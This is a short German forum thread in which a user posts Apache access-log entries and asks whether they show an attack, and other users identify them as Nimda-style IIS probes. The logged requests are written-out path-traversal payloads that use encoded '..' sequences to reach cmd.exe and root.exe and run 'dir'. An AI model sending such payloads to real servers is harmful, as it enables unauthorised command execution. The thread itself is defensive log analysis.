Angriff auf Apache?

[Kernel Fallback]

Hallo Leute!

Ich finde im meinem Apche access-log desöfteren solche Einträge:

Ich kann mir so ungefähr vorstellen, was das bedeutet, würde aber gern mal hören, was ihr dazu meint:

217.162.56.51 - - [31/Jan/2002:17:48:27 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 278
217.162.56.51 - - [31/Jan/2002:17:48:28 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 276
217.162.56.51 - - [31/Jan/2002:17:48:28 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 286
217.162.56.51 - - [31/Jan/2002:17:48:29 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 286
217.162.56.51 - - [31/Jan/2002:17:48:29 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300
217.162.56.51 - - [31/Jan/2002:17:48:30 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 317
217.162.56.51 - - [31/Jan/2002:17:48:30 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 317
217.162.56.51 - - [31/Jan/2002:17:48:31 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
217.162.56.51 - - [31/Jan/2002:17:48:31 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
217.162.56.51 - - [31/Jan/2002:17:48:32 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
217.162.56.51 - - [31/Jan/2002:17:48:32 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
217.162.56.51 - - [31/Jan/2002:17:48:33 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
217.162.56.51 - - [31/Jan/2002:17:48:33 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 283
217.162.56.51 - - [31/Jan/2002:17:48:34 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 283
217.162.56.51 - - [31/Jan/2002:17:48:34 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300
217.162.56.51 - - [31/Jan/2002:17:48:35 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300

Danke - cu KF

[schnebeck]

Da versucht jamand deinen IIS zu hacken ;-)

Bye

Thorsten

[Kernel Fallback]

Tja, sowas in der Art dachte ich mir.

Wie oben gesagt - APACHE-log :)

cu

[micha]

Hi,

such mal hier im Forum nach nimda, die Logfiles werden Dir bekannt vorkommen ;)

Gruß micha